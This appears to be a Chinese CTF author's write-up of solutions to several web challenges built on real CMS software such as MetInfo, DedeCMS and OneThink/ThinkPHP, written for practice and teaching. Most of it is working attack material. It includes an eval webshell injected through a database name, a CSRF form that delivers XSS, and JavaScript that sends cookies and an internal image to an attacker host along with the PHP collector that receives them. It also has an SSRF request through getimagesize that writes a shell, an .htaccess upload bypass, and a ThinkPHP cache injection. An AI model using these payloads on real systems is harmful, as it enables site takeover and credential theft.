这次和另外一个师傅合作出了几个web,出题时间太仓促,所以很多地方有许考虑不周,望多多见谅。
接到任务是说多偏向实战,那就只能用一些最新的CMS来上了,这次题目大概是dedefun的1day利用,其余的则是网络公开漏洞或者是常规渗透思路即可解决。过程中发现各种师傅们直接掏出0day就是干,很是膜拜呀 ~
目录扫描得到file/file.php,然后猜测可以跨目录删除文件
删除文件后重装metinfo,重装的时候数据库名填写:
met#*/@eval($_GET[1]);/*
密码填写为root,这里提一句,由于平台的网络acl问题,所有的环境都是不能外连mysql的,导致会有一点坑。
最后就是getshell拿flag
通过mysql执行,经过hex编码后,输出可以造成xss
select 0x3c7363726970743e616c6572742831293c2f7363726970743e
结合csrf即可打到后台
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://love.lemon/runsql.php" method="POST">
<input type="hidden" name="sql" value="select 0x30783c736372697074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f7363726970743e" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
提交。
其中加载的js内容为:
self.location = 'http://ip/x.php?v=aaa'+btoa(document.cookie)+'aaa';
可以从服务器上面知道,有管理员登录了后台,但是地址是127.0.0.1的。
访问: http://love.lemon/admin_zzzz666.php
提示后台只能是127.0.0.1这个访问。
所以需要改一下前面的csrf html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/runsql.php" method="POST">
<input type="hidden" name="sql" value="select 0x30783c736372697074207372633d687474703a2f2f69702f7873732f312e6a733e3c2f7363726970743e" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
然后便可以打到cookie
通过页面源码获取可以知道一个
./static/img/iamsecret_555.jpg
外网直接访问是不行的,会403,需要通过xss来获取图片内容。flag也在图片上面。
var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}};
function getBase64(img){
function getBase64Image(img,width,height) {//width、height调用时传入具体像素值,控制大小 ,不传则默认图像大小
var canvas = document.createElement("canvas");
canvas.width = width ? width : img.width;
canvas.height = height ? height : img.height;
var ctx = canvas.getContext("2d");
ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
var dataURL = canvas.toDataURL();
return dataURL;
}
var image = new Image();
image.crossOrigin = '';
image.src = img;
return new Promise((resolve,reject)=>{
image.onload =function (){
resolve(getBase64Image(image));//将base64传给done上传处理
}
});
}
getBase64('http://127.0.0.1/static/img/iamsecret_555.jpg').then(base64 => {
love.post(
"http://ip/xss/x.php",
"v="+base64,
function(res){
console.log(res);
}
);
}, err => {
console.log(err)
})
获取图片内容
X.php内容
<?php
header('Access-Control-Allow-Origin: *');
file_put_contents('log.txt',$_POST['v']);
最后会获取到图片,当然这个过程中+会被转换为空格,所以后面还要转换回来。
题目描述:
运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。
1.php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>
感觉很傻的故事,没法,不知道如何去设计这个考点,但是从上来看,肯定是靠ssrf的点。
考点便是前段时间一个思路很棒的漏洞:dedecms利用通配符找后台目录
当然getimagesize
这个函数还可以远程http请求,导致可以进行ssrf,有兴趣的朋友可以跟进php内核看下。
所以接下来就比较简单了,直接利用本身的shell去操作即可。
POST /tags.php HTTP/1.1
Host: love.lemon
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=1531231707; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
dopost=save&_FILES[lsa][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=file_put_contents($_GET[1],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif
首先看到首页:
猜测密码为弱口令babyweb@1990
登陆后发现任意文件上传,但是只能图片格式
用top100密码爆破mysql,1q2w3e4r5t6y,这里本来是用root,但是搅屎太多,改为了babyweb
进入后发现
然后更改type的json数据为
{"0":"png","1":"gif","2":"jpg","3":"xxx","5":"htaccess"}
即可上传htaccess
AddType application/x-httpd-php .xxx
php_flag engine 1
上传后,在file下可以看到文件名
然后访问../img/name.xxx即可shell
考点就是thinkphp的缓存getshell漏洞,当然先得发现备份文件www.zip,然后进行审计。
/* 获取缓存数据 */
if(empty($list)){
$list = S('sys_user_nickname_list');
}
审计代码发现更改了源码
因为用户名有长度限制
于是直接这样就OK
%0a@`$_GET[c]`;//
然后即可拿到shell
http://127.0.0.1:8097/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
http://127.0.0.1:8097/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php?c=cat /flag>/tmp/flag